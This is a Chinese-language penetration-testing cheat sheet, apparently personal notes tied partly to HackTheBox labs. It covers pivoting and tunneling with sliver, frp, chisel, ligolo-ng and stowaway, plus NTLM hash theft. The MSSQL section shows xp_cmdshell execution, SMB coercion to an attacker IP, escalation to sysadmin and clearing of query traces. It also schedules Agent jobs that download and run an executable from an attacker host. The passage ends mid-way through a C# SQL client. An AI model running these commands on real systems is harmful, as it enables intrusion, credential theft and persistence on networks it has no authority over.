local_ip = 192.168.1.200
local_port = 80
custom_domains = app.example.com

启动命令

# 服务端（公网服务器）
./frps -c frps.ini
# 客户端（内网主机）
./frpc -c frpc.ini

msf

先上线动态路由

portfwd add -l $local_port -r $remote_ip -p $remote_port

带内sliver端口转发

sliver支持对载荷进行端口正向转发或者反向转发，但是都需要先进入载荷会话

正向转发

portfwd add --remote 172.22.6.25:3389 --bind 0.0.0.0:44544
# 将本地的445流量导向到远程192.168.176.129:445
#可以再次键入portfwd查看当前端口转发的会话，也意味着我们可以进行多次端口转发

[server] sliver (CHEMICAL_FOWL) > portfwd

 ID   Session ID                             Bind Address    Remote Address      
==== ====================================== =============== =====================
  2   11b4e885-c02c-4075-b4ef-93c5669886b7   127.0.0.1:445   192.168.176.129:445

移除只需要干掉这个会话就行

portfwd rm -i 2

反向转发

反向转发使用上的逻辑与正向一致，只需要将portfwd替换为rportfwd

注意sliver的带内端口转发并不稳定，只能凑合用

WireGuard-sliver端口转发

WireGuard-sliver利用了外部WireGuard客户端确保流量转发的稳定

优点:WireGuard-vpn协议会在载荷和server之间创建局域网效果的连接，非常稳定且隐蔽
缺点:只能在wg监听器上使用，需要额外部署wg客户端，目前不支持povit多级网络使用，目前不具备反向端口转发效果

部署wg监听以及载荷

安装客户端

sudo apt install wireguard-tools

在sliver中开启wg监听，会默认在53端口开启

sliver > wg

[*] Starting Wireguard listener ...
[*] Successfully started job #1

sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   wg    udp       53

用wg-config生成wg客户端能使用的配置文件

sliver > wg-config --save 2.conf

[*] New client config:
[Interface]
Address = 100.64.0.16/16
ListenPort = 51902
PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
MTU = 1420

[Peer]
PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>

将生成的配置文件的Endpoint字段改为服务host:53

Endpoint = 192.168.174.1:53

利用wg-quick和这个服务端开启wg服务

wg-quick up ./2.conf
#使用完毕后可以将up替换为down还原设置

此时我们会创建一个本地网段比如100.64.0.0/24，上线的载荷以及我们自身都会分配在这个网段当中

至此监听器创建完毕，生成wg载荷

generate --wg 192.168.174.1:53 --os windows --arch 64 --save 3.exe

载荷上线后监听部署完毕

WireGuard正向端口转发

移动到wg载荷的会话当中我们可以使用wg-portfwd进行端口转发

[server] sliver (INNOCENT_RESPONSE) > wg-portfwd add --remote 192.168.175.129:443

[*] Port forwarding 100.64.0.4:1080 -> 192.168.175.129:443

此时会将100.64.0.4:1080转发至远程192.168.175.129:443，这个100.64.0.4就是我们wg分配给此载荷的网段，可以直接访问过去

取消端口转发

wg-portfwd #查看存活端口转发id
wg-portfwd rm [id]

wg的缺点是无反向端口转发，反向端口转发只能使用带内。

socks

frp

frp虽然分客户端服务端，但本质是双向的，只需要有一边能访问到对面即可，能被访问的配置服务端

注意！配置文件分为ini,toml等规格，每个都不一样，我这里使用的是toml格式，只能说善用ai

服务端上传配置文件和服务端（frps以及frps.toml），配置内容如下

bindPort = 7000

客户端上传配置文件和客户端（frpc以及frpc.toml），配置内容如下

serverAddr = "10.10.110.100"
serverPort = 7000

[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 6000 #远程端口
localPort = 1080 #本地端口
[proxies.plugin]
type = "socks5"

其中注释标出来的端口是互通的，走本地的代理就会默认以另外一方发出,只要用过一次就很好用了，还可以多端口代理转发，让ai写配置文件即可

chisel

正向

边界作为服务chisel.exe server -p 12345
kali作为客户./chisel client 192.168.61.129:12345 socks

反向

kali作为服务./chisel server -p 12345 --reverse
边界作为客户chisel.exe client 192.168.61.128:12345 R:socks

ssh

ssh -D <SOCKS_PORT> <USER>@<JUMP_HOST> -p <SSH_PORT>
#示例：在 1080 端口创建 SOCKS5 代理
ssh -D 1080 root@10.10.14.5 -p 22
#或者加上-Nf 不启动shell直接后台启动代理
ssh -Nf -D 1080 user@jump.host.com

mssql

如果目标防火墙严格禁止出站，而我们只具备mssql管理控制权限，则可以利用CLR 扩展实现socks5代理

先去这个地方获取核心dll并且编译，或者可以直接下载Releases当中的assembly.dll以及reciclador.dll，这两个dll都是需要的
https://github.com/blackarrowsec/mssqlproxy

首先我们需要将reciclador.dll这个核心dll上传到目标机器,这里可以利用ole或者其他什么方式都可以,但是要记住路径，例如下

C:\windows\temp\reciclador.dll

之后利用impacket包导入assembly.dll注册clr并且导向C:\windows\temp\reciclador.dll

impacket-mssqlclient $domain/$user:$pass@$ip -install -clr assembly.dll
impacket-mssqlclient $domain/$user:$pass@$ip -check -reciclador 'C:\windows\temp\reciclador.dll'

最终执行这个clr会在我们本地开1337端口进行socks5代理，直接利用proxychains添加即可使用

impacket-mssqlclient $domain/$user:$pass@$ip -start -reciclador 'C:\windows\temp\reciclador.dll'
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[*] Proxy mode: check
[*] Assembly is installed
[*] Procedure is installed
[*] reciclador is installed
[*] clr enabled
[*] Proxy mode: start
[*] Triggering Proxy Via MSSQL, waiting for ACK
[*] ACK from server!
[*] Listening on port 1337...

reGeorg

https://github.com/sensepost/reGeorg

当我们只能通过 Webshell 与目标通信时，传统的端口转发和SOCKS方式无法使用，而 reGeorg 则可以通过 Web 通信信道（如 HTTP POST）在目标上建立一条代理隧道，从而访问其内网服务,无需目标开启其他端口或者说仅有上传权限并无运行权限进行内网信息收集

根据目标环境选择对应 Web 文件上传（payload 位置在 reGeorg/webshells/）：

tunnel.jsp / tunnel.php / tunnel.aspx

启动客户端连接（Kali）

python3 reGeorgSocksProxy.py -u http://target.com/tunnel.jsp -p 1080
此时会启动一个 SOCKS5 代理在本地 1080 端口。

带内sliver-sock5

sliver支持对载荷会话进行socks代理，使用逻辑如下

socks5 start --host 127.0.0.1 --port 5555
#运行后会建立对本地5555的sock5转发
#可以再次键入socks5查看当前sock5的会话，也意味着我们可以进行多次socks5转发

[server] sliver (CHEMICAL_FOWL) > socks5

 ID   Session ID                             Bind Address     Username   Passwords 
==== ====================================== ================ ========== ===========
  2   11b4e885-c02c-4075-b4ef-93c5669886b7   127.0.0.1:5555

移除只需要干掉这个会话就行

socks5 stop -i 2

注意sliver的带内socks5并不稳定，只能凑合用或者在多级网络中使用

WireGuard-sliver-socks5

WireGuard-sliver利用了外部WireGuard客户端确保流量转发的稳定

优点:WireGuard-vpn协议会在载荷和server之间创建局域网效果的连接，非常稳定且隐蔽
缺点:只能在wg监听器上使用，需要额外部署wg客户端，目前不支持povit多级网络使用

部署wg监听以及载荷

安装客户端

sudo apt install wireguard-tools

在sliver中开启wg监听，会默认在53端口开启

sliver > wg

[*] Starting Wireguard listener ...
[*] Successfully started job #1

sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   wg    udp       53

用wg-config生成wg客户端能使用的配置文件

sliver > wg-config --save 2.conf

[*] New client config:
[Interface]
Address = 100.64.0.16/16
ListenPort = 51902
PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
MTU = 1420

[Peer]
PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>

将生成的配置文件的Endpoint字段改为服务host:53

Endpoint = 192.168.174.1:53

利用wg-quick和这个服务端开启wg服务

wg-quick up ./2.conf
#使用完毕后可以将up替换为down还原设置

此时我们会创建一个本地网段比如100.64.0.0/24，上线的载荷以及我们自身都会分配在这个网段当中

至此监听器创建完毕，生成wg载荷

generate --wg 192.168.174.1:53 --os windows --arch 64 --save 3.exe

载荷上线后监听部署完毕

WireGuard-sock5

移动到wg载荷的会话当中我们可以使用wg-socks进行端口转发

[server] sliver (INNOCENT_RESPONSE) > wg-socks start 

[*] Started SOCKS server on 100.64.0.4:3090

此时会将100.64.0.4:3090设为WireGuard代理，这个100.64.0.4就是我们wg分配给此载荷的网段，可以直接卸载proxychains里代理过去

取消代理

wg-socks # 查看存活代理id
wg-socks stop [id]

msf动态路由

msf的动态路由相当于一个专属于它自己的代理，当我们获取一个目标的msf载荷之后，可以直接配置动态路由来进行msf方便的内网入侵

这里我模拟我们搞到了一台内网session 1,其内网网段模拟为169.254.12.1,执行以下命令

use post/multi/manage/autoroute
set SESSION 1
set SUBNET 169.254.0.0
set NETMASK /16
run

之后一切msf内部模块都能自动走这个路由，也可以代理给外部，但是不如frp稳定暂时不记录

多级网络

stowaway

不用记住整体的命令，此工具灵活部署，类似小型c2，可以通过一个admin节点控制内网多个节点，并且节点之间互相连接也能在admin全局控制，简单来说只要是admin节点连接a节点之后a节点连接b节点，就可以通过admin控制c节点执行节点命令，可灵活部署多级网络穿透

所有控制皆从admin执行

启动指令（admin以及agent不区分）

-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP

常用供复制

./linux_x64_admin -l 7777(被动)
./linux_x64_admin -c $ip:$port(主动)

admin panel(admin控制指令)

    detail 展示在线节点的详细信息
    topo 展示在线节点的父子关系
    use $id 使用某个agent
    exit 退出

nodepanel(在使用admin指令use节点后使用的节点指令)

help                                            # 显示帮助信息
status                                          # 显示节点状态（包括socks/转发/反向代理服务）
listen                                          # 在当前节点启动端口监听
addmemo    <string>                             # 为当前节点添加备注
delmemo                                         # 删除当前节点的备注
ssh        <ip:port>                            # 通过当前节点启动SSH连接
shell                                           # 在当前节点启动交互式shell
socks      <lport> [用户名] [密码]              # 启动socks5代理服务器(用户密码可选填)
stopsocks                                       # 关闭socks代理服务
connect    <ip:port>                            # 连接到新节点
sshtunnel  <ip:ssh端口> <代理端口>              # 使用SSH隧道将节点加入拓扑
upload     <本地文件> <远程文件>                # 上传文件到当前节点
download   <远程文件> <本地文件>                # 从当前节点下载文件
forward    <本地端口> <ip:端口>                 # 将本地端口转发到指定远程地址
stopforward                                     # 关闭端口转发服务
backward    <远程端口> <本地端口>               # 将远程端口(代理)反向代理到本地端口(管理端)
stopbackward                                    # 关闭反向代理服务
shutdown                                        # 终止当前节点
back                                            # 返回上级控制面板
exit                                            # 退出Stowaway程序

评价是小型c2，好用的一批

sliver多级网络部署

sliver载荷在会话模式下带有pivot命令，允许载荷启动监听，用于在多网段情况下的渗透

首先需要一个进入一个载荷会话

pivots tcp --lport 443
# 这样会在这台我们已经控制的机器监听443端口
# 再次输入pivot可以查看已启动的监听

之后生成其对应的载荷,如下

generate --tcp-pivot 192.168.1.1:443 --os windows --arch 64 --save 2.exe
#--tcp-pivot指定参数需要是对应开启监听的载荷地址，可以使用ifconifg查看ip

当载荷连接回来后，我们会在sessions中看到载荷的中继

注意，sliver的中继载荷使用socks5以及端口转发时体感上不如stowawy，但是它使用的wg流量也不允许多级使用。

其他

msf走外部代理

当我们利用frp或者chisel搭建了隧道，可以利用如下命令让msf走全局代理

setg proxies socks5:127.0.0.1:6000

并且如果这个时候我们需要反弹shell，msf会默认目标处于内网无法回弹，但是如果我们知道目标能访问到我们，我们可以直接使用下面的参数规避报错

set ReverseAllowProxy true

tun流量虚拟网卡

如果只是想通过边界入侵内网，ligolo是最好的选择，我们可以抛弃繁杂的proxychains，并且ligolo的tun流量会将隧道实现最稳定的模式，远超socks流量

但经过测试，windows端的ligolo——proxy使用有很大问题，在配置winunl的情况下依旧无法连接流量，所以主控以linux为主

ligoli上线分为四步 1-上线，2-创建本地网卡，3-将tun流量绑定至网卡，4-清除网卡

1-上线

ligolo-ng虚拟网卡(反向连接)

启动代理服务端-攻击端kali执行

./proxy -laddr 0.0.0.0:9001 -selfcert  # 监听 9001 端口

对目标上传客户端并且连接客户端

./agent -connect 攻击机_IP:9001 -ignore-cert  # 连接代理

当连接成功后，我们能通过在服务端输入命令切换或者启动路由

ligolo-ng虚拟网卡(正向)

其余设置与反向一致，只是连接以agent充当服务器，这里以被攻击机本地的9001监听

./agent -bind 0.0.0.0:9001

启动代理服务端-攻击端kali执行

./proxy -laddr 0.0.0.0:9001 -selfcert  # 监听 9001 端口
```之后本地主动连接
```zsh
ligolo-ng » connect_agent --ip $入口机:9001

2-创建网卡

创建网卡

ifcreate --name $网卡名

删除网卡

ifdel --name $网卡名

3-绑定流量

首先session选择目标agent，之后使用如下命令绑定网卡

tunnel_start --tun $网卡名

随后使用ifconfig查看当前agent网段，例如

[Agent : root@webserver.aoseluauto.com] » ifconfig
┌────────────────────────────────────┐
│ Interface 0                        │
├──────────────┬─────────────────────┤
│ Name         │ lo                  │
│ Hardware MAC │                     │
│ MTU          │ 65536               │
│ Flags        │ up|loopback|running │
│ IPv4 Address │ 127.0.0.1/8         │
│ IPv6 Address │ ::1/128             │
└──────────────┴─────────────────────┘
┌───────────────────────────────────────────────┐
│ Interface 1                                   │
├──────────────┬────────────────────────────────┤
│ Name         │ ens5                           │
│ Hardware MAC │ 00:16:3e:16:7e:47              │
│ MTU          │ 1500                           │
│ Flags        │ up|broadcast|multicast|running │
│ IPv4 Address │ 172.16.53.30/16                │
│ IPv6 Address │ fe80::216:3eff:fe16:7e47/64    │
└──────────────┴────────────────────────────────┘

将网段建立在这个路由上,跟具如上路由，命令如下

route_add --name $网卡名 --route 172.16.53.30/16

可以通过route_list查看路由情况

注意

请使用完毕务必删除网卡，否则会导致流量乱流

ligolo-ng多级网络思路

暂略

提权or横向

密码过期用户更改密码

可以直接利用changepass.py更改，他调用的是rpcsmc接口允许跳过认证

impacket-changepasswd $domain/$user:""@$ip -newpass wackMaker1!

提示需要正确密码，如果我们有过期前的密码就填，没有就留空，一样的

也可以使用smbpass

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ smbpasswd -U $user -r $ip
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user

ntlm_theft——hash回调窃取_hash钓鱼

当我们处于内网当中的时候，可以利用此工具生成各种文件用来触发smb认证回调来利用responder截获ntlmv2认证，往往需要配合流量转发使用

工具地址，注意template也需要下载，最好全部打包

https://github.com/Greenwolf/ntlm_theft

首先利用其生成所有文件

python3 ntlm_theft.py --generate all --server $访问ip --filename $生成文件保存目录

之后利用各种手段传递到内网机器中，并且利用responder监听

sudo responder -I $网卡

laps密码读取

本地powerview

Get-ADComputer DC01 -property 'ms-mcs-admpwd'

远程nxc

nxc smb $ip -u $user -p $pass --laps

windows本地提权路径查询

PrivescCheck

https://github.com/itm4n/PrivescCheck

快速基本检查

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

所有检查 + 所有报告

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML"

notes

服务劫持注册表写法

reg add HKLM\SYSTEM\CurrentControlSet\Services\gupdate /v ImagePath /t REG_EXPAND_SZ /d  "C:\ProgramData\sb.exe"

bypassUAC

GUI下绕过uac

当然，一般情况使用右键管理员运行即可，如果我们只有cmd或者powershell情况或者在kiosk情况下，可以利用powershell运行如下命令

start-process powershell.exe -verb runas

这样会返回一个uac认证，确认后会获得一个powershell窗口，注意是有gui的情况下，也就是说得有起码rdp的连接

mssql相关

mssql服务枚举

查找spn

setspn -T $domain -Q MSSQLSvc/*

powerupsql.ps1

查找数据库实例以及服务

Get-SQLInstanceLocal

查找详细信息

Get-SQLServerInfo -Verbose -Instance "SQL11\SQLEXPRESS" -username $user -password $pass

查找链接数据库

Get-SqlServerLinkCrawl -Verbose -Instance "SQL11\SQLEXPRESS" -username $user -password $pass

mssql语法

impacket包连接mssql数据库

impacket-mssqlclient $user:$pass@$ip
直接无法认证可以尝试windows认证
impacket-mssqlclient -windows-auth $user:$pass@$ip

如果确认凭据完整但是无法登陆，可以换username为sa尝试以管理员登陆

落地常用枚举

查询数据库版本

SELECT @@VERSION;

查询当前服务器名称

select @@servername

查询当前用户名称

select suser_name();

查询当前服务器级权限

SELECT entity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');

列出数据库所有登陆账户

SELECT name FROM master..syslogins

查找具备sysadmin管理员权限用户

SELECT name FROM master..syslogins WHERE sysadmin = '1'

查找自身模拟权限

SELECT grantor.name AS Grantor, grantee.name AS Grantee, permission_name, state_desc FROM sys.server_permissions sp JOIN sys.server_principals grantor ON sp.grantor_principal_id = grantor.principal_id JOIN sys.server_principals grantee ON sp.grantee_principal_id = grantee.principal_id WHERE permission_name = 'IMPERSONATE';

查找模拟用户

enum_impersonate

尝试模拟sa

EXECUTE AS LOGIN = 'sa';

列出所有数据库

SELECT name FROM sys.databases;

查询数据库级权限(需要进入对应数据库)

use $db
SELECT * FROM fn_my_permissions(NULL,'DATABASE');

列出所有表

先使用对应数据库
use $dbname
之后
SELECT name AS TableName FROM sys.tables;

列出表中数据

直接导出
SELECT * FROM $table;
格式化输出
SELECT $table AS SecretValue FROM $db;
无痕读取
SELECT TOP 1 $table FROM $db;

查询密码策略

EXEC xp_loginconfig 'password policy'

查询对应账户sid

SQL (SQLGuest  guest@master)> select sys.fn_varbintohexstr(SUSER_SID('REDELEGATE\Administrator'))

查询系统目录

EXEC MASTER.sys.xp_dirtree 'C:\', 1, 1

xp_dirtree触发smb访问（劫持服务账户hash）

EXEC master..xp_dirtree '\\10.10.16.9\test';

xp_cmdshell相关（命令执行）需sa权限

先查询是否开启

SELECT * FROM sys.configurations WHERE name IN ('xp_cmdshell', 'Ole Automation Procedures');

如果没有开启，逐步按照下方开启

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
或者直接
enable_xp_cmdshell

之后执行

xp_cmdshell whoami
上面的无法执行过多参数命令，用下面的即可
EXEC xp_cmdshell 'curl http://10.10.16.177'

如果开启报错，多半是存在触发器，管理员权限可关闭

sp_execute_external_script相关（虚拟账户命令执行）

这里需要注意，使用外部脚本执行命令一般使用python，并且会创造虚拟账户进行操作。一般用于绕过一些权限的利用，也就是我们使用cmdshell执行的是服务账号的权限，外部脚本则是虚拟账户权限，等同于一般用户，不说比服务账户权限高，只能说相对完整一些

开启权限

EXEC sp_configure 'external scripts enabled', 1;
RECONFIGURE;

执行命令

EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");';

开启ole并且利用mssql进行文件上传

利用mssql进行文件上传有两种方式，一种是下面的pycmdshell可以实现upload方式上传文件（写入字节操作），一种是开启ole，这个一般是远程操作，所以直接利用impacket包

impacket-mssqlclient $domain/$user:$pass@$ip

高版本可以直接启用

enable_ole

具体执行操作其实为

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

之后可以直接上传文件

upload file C:\windows\temp\file

链接数据库利用

查询存在的链接数据库

select srvname from sysservers;

在链接数据库上执行命令

EXECUTE ('命令语句') at [$linked_db_name];
注意单引号不省略，如果额外需要单引号，则双单引号转义

或者

use_link SERVER2
xp_cmdshell hostname

关于TRUSTWORTHY ON开启的db_oner提权sa记录

要求很多基本上遇不到只是简单记录

需要我们是一个数据库的db_oner
需要数据库oner为sa
需要TRUSTWORTHY 开启on参数（sa才能设置）

提权思路，创建一个存储过程指定用数据库oner权限执行，从而以数据库权限劫持服务器权限

查询是否有数据库开启TRUSTWORTHY

SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;

查询是否有用户是这个数据库的db_oner

SELECT DP1.name AS DatabaseRoleName, isnull(DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;

如果条件成立，允许我们提升至sa用户

# 以db_oner权限创建恶意储存
CREATE PROCEDURE dbo.sp_elevate_privs WITH EXECUTE AS OWNER AS BEGIN EXEC sp_addsrvrolemember '$user', 'sysadmin'; END
# 执行恶意储存
EXEC dbo.sp_elevate_privs
# 查看提权是否成功
SELECT IS_SRVROLEMEMBER('sysadmin');

后渗透常用语法（不是所有权限都需要sa，但是默认具备）

清理最近查询记录

DBCC FLUSHPROCINDB(DB_ID());

查询服务账户

SELECT servicename, service_account FROM sys.dm_server_services;

查询触发器并关闭

查询
select name from sys.server_triggers;
关闭
disable trigger $name on all server

创建一个用户并赋予sa权限（默认具备sa）

创建
CREATE LOGIN $user WITH PASSWORD ='$pass';
赋予
EXEC sp_addsrvrolemember '$user', 'sysadmin';

作业与调度相关利用(以下内容除了db_ddladmin滥用部分默认具备sa权限)

所有调度默认在msdb中查询更改以及使用，其利用mssql-agent服务账户自动运行作业而不是mssql-server服务账户，注意mssql-agent服务默认是不启用或者需要手动开启的，以下大部分内容仅仅在其以及开启使用的情况下有用.且以下命令全部以impacket-mssqlclient执行为准。

一句话概括作业就是任务，调度就是定时处理，而储存过程是数据库命令集合的脚本，一般是调度用来自动执行作业，而作业内置了cmd或者powershell等或者储存过程

查询agent是否在运行

USE master; SELECT servicename, service_account, status, status_desc FROM sys.dm_server_services;

一句话查询所有调度任务

USE msdb; SELECT j.name AS JobName, s.name AS ScheduleName, s.schedule_id, s.enabled, s.freq_type, s.freq_interval, s.freq_subday_type, s.freq_subday_interval, s.active_start_time FROM dbo.sysjobs j LEFT JOIN dbo.sysjobschedules js ON j.job_id=js.job_id LEFT JOIN dbo.sysschedules s ON js.schedule_id=s.schedule_id ORDER BY j.name;

一句话查询所有作业及步骤

USE msdb; SELECT j.job_id, j.name AS job_name, SUSER_SNAME(j.owner_sid) AS job_owner, s.step_id, s.step_name, s.subsystem, s.database_name, s.command FROM dbo.sysjobs j JOIN dbo.sysjobsteps s ON j.job_id = s.job_id ORDER BY j.name, s.step_id;

创建恶意作业及调度

首先创建作业并生成作业id（后续命令作业id示例为52D9FAA6-02B7-40E6-9778-D5D311737BEC）

DECLARE @JobID UNIQUEIDENTIFIER; EXEC msdb.dbo.sp_add_job @job_name = N'Test_Job_Final_Success', @enabled = 1, @description = N'test', @owner_login_name = N'sa', @job_id = @JobID OUTPUT; SELECT N'Test_Job_Final_Success' AS Created_Job_Name, @JobID AS Created_Job_ID;

将生成的作业id绑定一个cmd指令，此处不需要设置指定可用命令因为我们需要修改两次（一次下载，一次执行）

EXEC msdb.dbo.sp_add_jobstep @job_id = N'52D9FAA6-02B7-40E6-9778-D5D311737BEC', @step_name = N'Log_Execution_Step_1', @step_id = 1, @subsystem = N'CmdExec', @command = N'curl http://test-ip', @on_success_action = 1, @on_fail_action = 2;

创建启动命令

EXEC msdb.dbo.sp_update_job @job_id = N'52D9FAA6-02B7-40E6-9778-D5D311737BEC', @start_step_id = 1;

创建每五分钟执行一次的调度，并生成调度id(可选，不想手动触发的话就需要,后续命令调度id示例为9)

DECLARE @ScheduleID INT; EXEC msdb.dbo.sp_add_schedule @schedule_name = N'Every_5_Minutes_Fixed', @enabled = 1, @freq_type = 4, @freq_interval = 1, @freq_subday_type = 4, @freq_subday_interval = 5, @active_start_time = 000000, @active_end_time = 235959, @schedule_id = @ScheduleID OUTPUT; SELECT N'Every_5_Minutes_Fixed' AS ScheduleName, @ScheduleID AS ScheduleID;

将调度绑定至作业(可选，不想手动触发的话就需要)

EXEC msdb.dbo.sp_attach_schedule @job_id = N'52D9FAA6-02B7-40E6-9778-D5D311737BEC', @schedule_id = 9;

确认调度信息

SELECT j.name AS JobName, j.enabled AS JobStatus, s.name AS ScheduleName, s.schedule_id AS ScheduleID, s.freq_subday_interval AS IntervalMinutes FROM msdb.dbo.sysjobs j JOIN msdb.dbo.sysjobschedules js ON j.job_id = js.job_id JOIN msdb.dbo.sysschedules s ON js.schedule_id = s.schedule_id WHERE j.job_id = N'52D9FAA6-02B7-40E6-9778-D5D311737BEC' AND s.schedule_id = 9;

绑定作业服务器为本地

EXEC msdb.dbo.sp_add_jobserver @job_id = N'52D9FAA6-02B7-40E6-9778-D5D311737BEC', @server_name = N'(local)';

修改作业任务为下载指令(下载与执行需要分开)

EXEC msdb.dbo.sp_update_jobstep @job_id = N'52D9FAA6-02B7-40E6-9778-D5D311737BEC', @step_id = 1, @command = N'curl http://192.168.174.3/1.exe -o c:\windows\tasks\1.exe';

等待5分钟的调度执行，或者直接执行

EXEC msdb.dbo.sp_start_job @job_id = N'52D9FAA6-02B7-40E6-9778-D5D311737BEC';

修改作业任务为执行指令

EXEC msdb.dbo.sp_update_jobstep @job_id = N'52D9FAA6-02B7-40E6-9778-D5D311737BEC', @step_id = 1, @command = N'c:\windows\tasks\1.exe';

等待5分钟的调度执行，或者直接执行

EXEC msdb.dbo.sp_start_job @job_id = N'52D9FAA6-02B7-40E6-9778-D5D311737BEC';

无论是直接执行还是任务执行，获得的权柄都不是mssql服务账号，而是NT Service\SQLAgent$MSSQL

msdb中db_ddladmin关于调度的特殊利用（提权sa）

条件很苛刻，需要我们是msdb中的db_ddladmin（数据库级权限），可以修改储存过程

msdb中的db_ddladmin可以在agent服务启动时，更改所有已经在运行，且作业步骤指定msdb中的存储过程的调度，让调度任务自动帮我们提权（以dbo权限执行命令）

最简单的就是修改默认每天执行一次的sp_syspolicy_purge_history

use [msdb]
ALTER PROCEDURE [dbo].[sp_syspolicy_purge_history] AS BEGIN ALTER SERVER ROLE [sysadmin] ADD MEMBER [$user] END

执行完毕后会自动将指定用户添加入sysadmin组，如果出现以下报错，忽略即可，修改是正常的

INFO(dc01\MSSQL): Line 1: 警告: 已为 过程'dbo.sp_syspolicy_purge_history' 禁用 'is_ms_shipped' 属性，因为您无权创建或更改具有此属性的对象。

可以通过如下命令查询是否正常修改

EXEC sp_helptext 'msdb.dbo.sp_syspolicy_purge_history';

等待运行时间运行，我们的用户会获得sa权限，注意默认运行时间是每日晚八点

无数据库用户密码使用kerbores本地登陆域内数据库

using System;
using System.Data.SqlClient;
using System.IO;

namespace SQL
{
    class Program
    {
        static void Main(string[] args)
        {
            string sqlServer = string.Empty;
            string database = "master";  // 默认连接到 master 数据库
            bool showHelp = false;  // 是否显示帮助信息
            string filePath = string.Empty; // 文件路径，用于批量执行 SQL 命令

            // 解析命令行参数
            foreach (var arg in args)
            {
                if (arg.StartsWith("--server"))
                {
                    sqlServer = arg.Split('=')[1];
                }
                else if (arg.Equals("-h") || arg.Equals("--help"))
                {
                    showHelp = true;
                }
                else if (arg.StartsWith("--noshell-file"))
                {
                    filePath = arg.Split('=')[1]; // 获取文件路径
                }
            }

            // 如果需要显示帮助信息，则输出帮助说明并退出
            if (showHelp)
            {
                ShowHelp();
                return;
            }

            if (string.IsNullOrEmpty(sqlServer))
            {
                Console.WriteLine("Usage: mssql.exe --server <sqlServerAddress> --noshell-file <filePath>");
                Environment.Exit(0);
            }

            string conString = $"Server=tcp:{sqlServer},1433; Database={database}; Integrated Security=True;";

            SqlConnection con = new SqlConnection(conString);

            try
            {
                // 尝试连接数据库
                con.Open();
                Console.WriteLine("Auth success!");
            }
            catch (Exception ex)
            {
                Console.WriteLine("Auth failed: " + ex.Message);
                Environment.Exit(0);
            }

            // 执行权限查询
            ExecuteQuery(con, "SELECT SYSTEM_USER;", "Logged in as");
            ExecuteQuery(con, "SELECT USER_NAME();", "Mapped to the user");
            ExecuteQuery(con, "SELECT IS_SRVROLEMEMBER('public');", "User is a member of public role");
            ExecuteQuery(con, "SELECT IS_SRVROLEMEMBER('sysadmin');", "User is a member of sysadmin role");

            // 如果指定了文件路径，执行文件中的 SQL 查询
            if (!string.IsNullOrEmpty(filePath))
            {
                ExecuteCommandsFromFile(con, filePath);
            }
            else
            {
                // 启动交互式查询模式
                InteractiveQuery(con);
            }

            // 关闭连接
            con.Close();
            Console.WriteLine("Connection closed.");
        }

        // 执行 SQL 查询并输出结果
        static void ExecuteQuery(SqlConnection con, string query, string resultMessage)
        {
            try
            {
                SqlCommand command = new SqlCommand(query, con);
                SqlDataReader reader = command.ExecuteReader();

                if (reader.HasRows)
                {
                    Console.WriteLine(resultMessage + ":");
                    while (reader.Read())
                    {
                        for (int i = 0; i < reader.FieldCount; i++)
                        {
                            Console.Write(reader[i].ToString() + "\t");
                        }
                        Console.WriteLine();
                    }
                }
                else
                {
                    Console.WriteLine(resultMessage + ": No rows returned.");
                }
                reader.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Error executing query: {ex.Message}");
            }
        }

        // 从文件中读取 SQL 命令并逐行执行
        static void ExecuteCommandsFromFile(SqlConnection con, string filePath)
        {
            try
            {
                // 读取文件中的所有命令
                string[] commands = File.ReadAllLines(filePath);
                foreach (var command in commands)
                {
                    if (!string.IsNullOrWhiteSpace(command))
                    {
                        Console.WriteLine($"Executing command: {command}");
                        ExecuteQuery(con, command, "Query Result");
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Error reading file or executing commands: {ex.Message}");
            }
        }

        // 启动交互式查询模式
        static void InteractiveQuery(SqlConnection con)
        {
            string userQuery;
            while (true)
            {
